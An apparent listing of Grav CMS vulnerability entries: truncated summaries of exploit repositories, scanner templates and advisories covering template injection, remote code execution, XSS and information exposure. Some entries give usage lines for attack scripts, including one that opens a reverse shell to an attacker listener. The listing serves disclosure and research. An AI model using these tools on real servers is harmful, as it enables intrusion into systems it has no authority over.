Graver

Graver 설명 Grav CMSCVE-2024-28116의 인증된 SSTI+RCE를 악용하기 위한 PoCProof of Concept 스크립트입니다. 취약한 Grav CMS가 실행 중인 서버에 악성 RCE 페이지를 생성합니다. 참고 자료: https://nvd.nist.gov/vuln/detail/CVE-2024-28116 참고 사항 인증된 취약점이므로 스크립트에 하드코딩된 Grav CMS 편집자 사용자의 유효한 자격 증명을 사용해야 합니다. 사용 방법 다음은 도구의 사용 예시입니다: python3 graver.py -t -...

GenGravSSTIExploit

EN GenGravSSTIExploit 는 Grav CMS 버전 -p : https://hostname 형식의 대상 URL. : 포트 번호 기본값 80. 예시: python GenGravSSTIExploit.py -t http://example.com -p 8080 4. 익스플로잇과 상호 작용 익스플로잇이 성공하면 OS 명령을 실행할 수 있는 URL이 제공됩니다: + RCE payload injected. Visit the malicious page: http://example.com:8080/poc?do= 예시 출력 pyth...

Grav < 1.7 - Open Redirect

Grav before 1.7 has an open redirect vulnerability via common/Grav.php. This is partially fixed in 1.6.23 and still present in 1.6.x. id: CVE-2020-11529 info: name: Grav 1.7 - Open Redirect author: 0xAkoko severity: medium description: Grav before 1.7 has an open redirect vulnerability via...

Grav CMS <1.3.0 - Cross-Site Scripting

Grav CMS before 1.3.0 is vulnerable to cross-site scripting via system/src/Grav/Common/Twig/Twig.php and allows remote attackers to inject arbitrary web script or HTML via the PATHINFO to admin/tools. id: CVE-2018-5233 info: name: Grav CMS 1.3.0 - Cross-Site Scripting author: pikpikcu severity:...

CVE-2026-75827

abraxaslabs.tech · github.com/abraxas · @abraxasnull · [email protected] · CVE-2026-75827 CVE-2026-75827 Grav 2.0.13 - getgrav I am @abraxasnull. Loopback lab. The client is CVE-2026-75827-Abraxas-Labs.py. The denylist missed errorlog. Grav through 2.0.14 allowlists Class::method dynamic-dat...

CVE-2025-50286

Grav CMS v1.7.48 / Admin Plugin v1.10.48 - 인증된 플러그인 업로드를 통한 RCE CVE-2025-50286 Grav CMS v1.7.48 및 Admin Plugin v1.10.48은 '직접 설치Direct Install' 플러그인 업로드 기능을 통해 원격 코드 실행RCE에 취약하여, 인증된 관리자가 서버에서 임의의 PHP 코드를 실행할 수 있습니다. CVE ID CVE-2025-50286 요약 유형: 인증된 원격 코드 실행 RCE 위치: /admin/tools/direct-install 관리자...

grav-cve-2024-28116

CVE-2024-28116 — Grav CMS의 샌드박스 우회를 동반한 SSTI Grav CMS 1.7.44 이하 버전에서 발생하며 1.7.45 버전에서 수정된, 보안 샌드박스 우회가 가능한 서버 측 템플릿 주입SSTI 취약점인 CVE-2024-28116에 대한 분석 및 Docker 재현 자료입니다. 제보자: Maurizio Siddu akabe1 CVSS v3.1 점수: 8.8 High 패치 버전: Grav CMS 1.7.45 저장소 구조 vulnerable Dockerfile Grav CMS 1.7.44 취약 버전...

CVE-2026-65008

CVE-2026-65008 — Grav CMS 2.0.7 인증된 RCE CVE-2026-65008 에 대한 개념 증명PoC: Blueprint::dynamicData의 제한 없는 calluserfuncarray를 통한 Grav CMS 인증된 원격 코드 실행. admin.pages또는 api.pages.write 권한이 있는 사용자는 악성 form frontmatter를 심을 수 있습니다. 이후 어떤 방문자인증되지 않은 사용자 포함가 페이지를 로드하면 페이로드가 웹 서버 사용자 권한으로 실행됩니다. 승인된 테스트 전용. 자신이...

CVE-2021-21425-RCE

이것은 제 버전입니다. 인터넷에서 많이 찾았지만 그것들은 너무 나빴습니다. 사용법 python3 exploit.py -u http://IP/grav-admin/ --lhost YOUR TUN0 IP --lport 4444 잠시.. 60초 후에 리스너에서 셸을 얻을 수 있습니다...

Grav-CMS-RCE-Authenticated

Grav CMS 원격 코드 실행 인증됨 - CVE-2024-28116 정보 이 코드는Graver 깃허브 저장소에서 가져와 이 영상을 기반으로 일부 개선한 것입니다. Grav CMS 버전 1.7.45 미만에 대한 SSTI + RCE 취약점을 이용한 익스플로잇으로, CVE-2024-28116로 명명되었습니다. 이 스크립트는 기본적으로 취약점이 포함된 페이지를 생성하고, 실행한 후, 마지막으로 페이지를 삭제합니다. 사용법 python3 GravCMSRCE.py -t http://10.10.10.10 -u 'admin' -p...

CVE-2025-50286

Grav Admin Direct Install RCE CVE-2025-50286 Grav Admin 플러그인의 Direct Install 기능에서 인증된 원격 코드 실행을 위한 Metasploit 모듈 및 랩 설정입니다. 개요 CVE: CVE-2025-50286 영향: 인증된 RCE 벡터: 관리자 패널 → Direct Install 결과: 웹 서버 권한으로 임의 명령 실행 참조 CVE NVD Exploit-DB Metasploit에서 모듈 로드 cp gravadmindirectinstallrcecve202550286.rb...

CVE-2021-29440

CVE-2021-29440 정적 페이지의 안전하지 않은 Twig 처리로 인한 Grav CMS 1.7.10의 RCE Grav은 파일 기반 웹 플랫폼입니다. 페이지 생성 또는 편집 권한이 있는 모든 관리 사용자가 정적 페이지의 앞부분front matter에서 Twig 처리를 활성화할 수 있습니다. Twig 프로세서가 샌드박스 없이 실행되므로 이 동작을 사용하여 임의 코드 실행을 달성하고 인스턴스에서 권한을 상승시킬 수 있습니다. 설명 /admin 대시보드에 접근할 수 있고 페이지 생성 권한이 있는 사용자가 필요합니다. 앞부분 블록...

CVE-2026-78851

Grav 인증된 경로 탐색 / Twig mediadirectory를 통한 임의 디렉터리 정보 노출 보고자 이름: CYBER-SEC 연락처: [email protected] 요약 Grav의 Twig 함수 mediadirectory는 페이지 콘텐츠 Twig 샌드박스 허용 목록에 노출되어 있지만, 비스트림 입력에 대한 경로 포함 제한을 제대로 적용하지 않습니다. 페이지 편집 권한이 있는 인증된 사용자는 Twig가 활성화된 페이지 콘텐츠 내에서 mediadirectory'/absolute/path'를 호출하거나...

Information Exposure

Overview getgrav/grav is a Modern, Crazy Fast, Ridiculously Easy and Amazingly Powerful Flat-File CMS. Affected versions of this package are vulnerable to Information Exposure in the getcookie function within the Twig sandbox. An attacker can obtain session identifiers belonging to privileged use...

Authorization Bypass Through User-Controlled Key

Overview getgrav/grav is a Modern, Crazy Fast, Ridiculously Easy and Amazingly Powerful Flat-File CMS. Affected versions of this package are vulnerable to Authorization Bypass Through User-Controlled Key via the setNestedProperty process. An attacker can gain unauthorized administrative privilege...

Improper Handling of Case Sensitivity

Overview getgrav/grav is a Modern, Crazy Fast, Ridiculously Easy and Amazingly Powerful Flat-File CMS. Affected versions of this package are vulnerable to Improper Handling of Case Sensitivity via the web.config or lighttpd.conf configuration files due to case-sensitive access-control deny rules...

Information Exposure

Overview getgrav/grav is a Modern, Crazy Fast, Ridiculously Easy and Amazingly Powerful Flat-File CMS. Affected versions of this package are vulnerable to Information Exposure in the array filter, which is registered without the necessary sandboxing guard. An attacker can access sensitive...

CVE-2026-100673

The Grav Data Manager plugin getgrav/grav-plugin-datamanager versions 1.0.1 through 1.4.4 render stored data entries in the item-detail view admin/templates/partials/item.html.twig without escaping, applying Twig's raw filter — in some cases after a striptags'' call that PHP's striptags bypasses ...

CVE-2026-100671

Grav is a flat-file CMS. In versions 2.0.19 through 2.0.24 — and in 2.0.0 through 2.0.18 and 1.7.x only where content Twig has been explicitly enabled — page content authored by a user holding only page-write permission is rendered through a Twig sandbox that allowlists getcookie, which returns a...

CVE-2026-100669

Grav before 2.0.25 ships web server configuration samples whose access-control deny rules are matched case-sensitively. In webserver-configs/web.config IIS, every deny rule usersensitivefolders, useraccounts, userdata, usererrorredirect, userpages, system, vendor, ignorefolders sets...